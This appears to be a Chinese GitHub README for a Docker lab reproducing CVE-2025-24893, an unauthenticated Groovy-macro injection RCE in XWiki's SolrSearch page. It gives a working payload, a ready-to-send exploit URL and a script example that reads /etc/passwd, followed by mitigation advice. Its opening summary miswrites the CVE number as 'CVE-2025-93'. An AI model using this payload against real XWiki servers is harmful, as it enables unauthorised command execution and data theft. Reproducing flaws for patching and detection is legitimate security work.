endusdksla/xwiki-cve-2025-24893

GitHub: endusdksla/xwiki-cve-2025-24893

该项目复现了 XWiki Platform 的未授权远程代码执行漏洞(CVE-2025-93),提供完整的 Docker 漏洞环境和利用脚本。

Stars: 0 | Forks: 0

# XWiki SolrSearch 未授权 RCE (CVE-2025-24893) ## 摘要 - XWiki 在服务器端解析 Wiki 语法和宏来进行渲染。问题在于 `Main.SolrSearch` 页面对访客开放,并且在没有对用户输入的 `text` 参数进行充分验证的情况下,直接将其作为 XWiki 语法进行评估。 - 攻击者可以在 `text` 中插入 `{{groovy}}` 宏,从而在服务器上执行任意的 Groovy 代码,并通过 `"command".execute()` 调用操作系统命令。该漏洞无需登录或 token,只需发送单个 GET 请求即可被利用。 ## 环境配置 本目录使用官方 XWiki standalone 发行版 `15.10.1` 和 Java 17 运行时来构建漏洞环境。 | 项目 | 内容 | |---|---| | CVE | `CVE-2025-24893` | | 产品 | XWiki Platform | | 受影响版本 | `>= 5.3-milestone-2, < 15.10.11` / `>= 16.0.0-rc-1, < 16.4.1` | | 补丁版本 | `15.10.11`, `16.4.1` | | 漏洞类型 | Eval Injection -> 未授权 RCE | | 是否需要身份验证 | 否 | | 影响 | 可能导致服务器命令执行 | ## 漏洞条件 - XWiki 版本必须是修补之前的版本。 - `Main.SolrSearch` endpoint 必须允许访客访问。 - 服务器必须能够将 `text` 参数作为 XWiki 语法进行评估。 - `groovy` 宏必须处于可执行状态。 本环境使用的是 XWiki `15.10.1`,因此满足上述条件。 ## 复现步骤 ``` docker compose up -d --build ``` 初次运行时会进行自动安装,因此可能需要几分钟的时间。(大约需要 6~7 分钟) ``` docker compose ps docker inspect -f '{{json .State.Health}}' xwiki-web ``` 当上述命令的结果显示为 `"Status":"healthy"` 时,说明环境配置已完成,处于可进行 exploit 的状态。 ``` pip install requests ``` 在运行 exploit.py 之前,请先安装依赖项。 ## PoC 代码 核心 payload 如下所示。 ``` }}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}} ``` 上述 payload 被插入到 `text` 参数中,并在 `Main.SolrSearch` 页面进行评估。结果是 `println("id".execute().text)` 在服务器上被执行,命令执行的结果会反射到 RSS 响应正文中。 完整的执行脚本请参考 [exploit.py](./exploit.py)。 ``` python3 exploit.py ``` 通过运行上述 Python 代码即可复现 PoC。默认执行的命令是 id。 ``` python3 exploit.py -c "cat /etc/passwd" ``` 如果要执行其他命令,可以像上面那样传递参数。 或者直接发送 URL 请求即可。(输出 id 的 payload) ``` http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D ``` ## 执行结果 ![poc_id](https://static.pigsec.cn/wp-content/uploads/repos/cas/41/41f841be904990e7308a397b5472859afcbe0ae93241ca9e085bf2906a122948.png) 将 id 作为响应返回的结果 ![poc_ls](https://static.pigsec.cn/wp-content/uploads/repos/cas/64/6491cddfa16a94c4b8d244ddde13835ac57b1c75dcf5caac6c96428ea13532d8.png) 查看当前目录的文件 ## 缓解措施 - 将 XWiki 更新至 `15.10.11` 或 `16.4.1` 及以上版本。 - 检查暴露在外部环境中的 XWiki 实例的访客访问策略。 - 尽量减少不必要的脚本/宏执行权限。 - 监控可疑请求及 `SolrSearch` 的访问日志。 ## 参考 - NVD: - GitHub Advisory:
标签:Go语言工具, JS文件枚举, XWiki, 漏洞验证环境, 编程工具, 请求拦截, 远程代码执行, 逆向工具